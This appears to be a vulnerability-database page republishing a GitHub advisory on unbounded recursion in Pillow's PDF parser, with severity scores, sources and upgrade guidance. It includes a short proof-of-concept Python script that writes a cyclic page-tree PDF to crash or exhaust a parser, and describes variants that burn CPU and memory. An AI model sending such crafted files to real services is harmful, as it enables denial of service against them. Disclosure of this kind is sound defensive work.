KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 03:07 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-112895

Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

- `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset:

At a glance

Exploited
Not known
Severity
8.7 High (CVSS 4.0)
Chance of exploitation
0.4% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-p4wg-p73j-c528 (opens a new tab)

What happened

### Summary When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end.

`read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check:

- `src/PIL/PdfParser.py:1078-1092`

Continue reading

`read_prev_trailer` catches only a repeated offset:

- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)

### PoC ```python from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b" >", 2: b" >", 3: b" >", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n >\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way ```

Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ```

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.

### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.

Affected package ranges reported by GitHub: pillow: >= 5.1.0, < 13.0.0

Scores and how they were measured

CVSS base severity

8.7

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 35.8%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-p4wg-p73j-c528 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-112895 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  14. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112895, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 20). Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) (CVE-2026-112895). https://kevwire.com/record/CVE-2026-112895

MLA

"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) (CVE-2026-112895)." KEVWire, 20 Oct. 2026, kevwire.com/record/CVE-2026-112895.

Chicago

KEVWire. "Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) (CVE-2026-112895)." Last modified October 20, 2026. https://kevwire.com/record/CVE-2026-112895.

Evidence summary (plain text)

Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) (Oct 20, 2026).
- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer` catches only a repeated offset:
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-p4wg-p73j-c528).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112895&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-p4wg-p73j-c528: https://github.com/advisories/GHSA-p4wg-p73j-c528
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112895: https://nvd.nist.gov/vuln/detail/CVE-2026-112895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112895&date=2026-10-26
Record ID: CVE-2026-112895.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail